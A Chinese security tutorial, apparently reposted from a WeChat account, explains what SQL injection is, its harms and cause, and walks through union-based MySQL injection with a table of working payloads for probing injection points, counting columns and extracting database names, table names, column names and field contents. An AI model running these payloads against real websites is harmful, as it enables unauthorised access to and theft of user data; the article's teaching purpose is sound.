一、什么是SQL注入:
SQL是结构化查询语言,用于操作关系型数据库管理系统。目前,大多数Web编程语言提供了操作SQL的接口,以方便与数据库进行交互。但是在开发Web应用的过程中,由于忽视了代码的健壮性和安全性,***者可以构造巧妙的SQL语句从而获取到敏感数据,因此导致了SQL这种***方式的流行。
二、SQL注入的危害:
(1)***者未经授权可以访问数据库中的数据,盗取用户的隐私以及个人信息,造成用户的信息泄露。
(2)可以对数据库的数据进行增加或删除操作,例如私自添加或删除管理员账号。
(3)如果网站目录存在写入权限,可以写入网页***。***者进而可以对网页进行篡改,发布一些违法信息等。
(4)经过提权等步骤,服务器最高权限被***者获取。***者可以远程控制服务器,安装后门,得以修改或控制操作系统。
三、注入***的本质:
把用户输入的数据当作代码执行。
注入的两个关键条件:
1. 用户能控制输入。
2. 原本程序要执行的代码,拼接了用户输入的数据。
四、SQL显错注入基本流程
1. 判断是否存在注入点
and 1=1 页面返回正常
and 1=2 页面返回不正常
URL后加单引号’ “ --+页面返回不正常
or sleep(5)页面5秒钟后正常显示
2. 猜解字段数
利用order by 排序
order by 1 以第一个字段排序
3. 联合查询寻找输出点
union select 1,2,3,4#
4. 输出点使用SQL注入语句
在我们语句2的位置输入要查询数据的语句
union select 1,database()#
五、Mysql数据库显错注入常用语句
and 1=1/and 1=2 |
判断是否存在注入 |
and 1=1 order by 3 |
按哪一列进行排序,从而可以确定有多少列 |
and 1=2 union select 1,2,3 |
查看页面中显示哪些数字,比如显示2,3
|
and 1=2 union select 1,2,database() |
原本显示3的位置会显示数据库名称
|
and 1=2 union select 1,2,version() |
会显示数据库版本
|
and 1=2 union select 1,2,group_concat(table_name) from information_schema.tables where table_schema= database() |
查询当前数据库下的表名
|
and 1=2 union select 1,2,group_concat(column_name) from information_schema.columns where table_schema=database() and table_name='表名' |
查看数据库字段名
|
and 1=2 union select 1,2,group_concat(字段名) from 表名 |
查看字段内容 |
六、总结
SQL注入漏洞属于高危漏洞,不仅能窃取用户隐私,还可以攻陷服务器危害巨大。由于多方面原因目前仍有少数网站存在此漏洞。学习网络安全不仅是用于***测试,更是提升网站开发人员能力的重要途经。本期主要和大家分享了显错注入的原理和常用命令,下期将给大家带来实战视频。
以上内容仅用于信息技术防御教学,切勿用于其他用途。
主 编 | 王楠岚
责 编 | KeeCTh
where2go 团队
微信号:算法与编程之美
长按识别二维码关注我们!
温馨提示:点击页面右下角“写留言”发表评论,期待您的参与!期待您的转发!
本文分享自微信公众号 - 算法与编程之美(algo_coding)。
如有侵权,请联系 support@oschina.cn 删除。
本文参与“OSC源创计划”,欢迎正在阅读的你也加入,一起分享。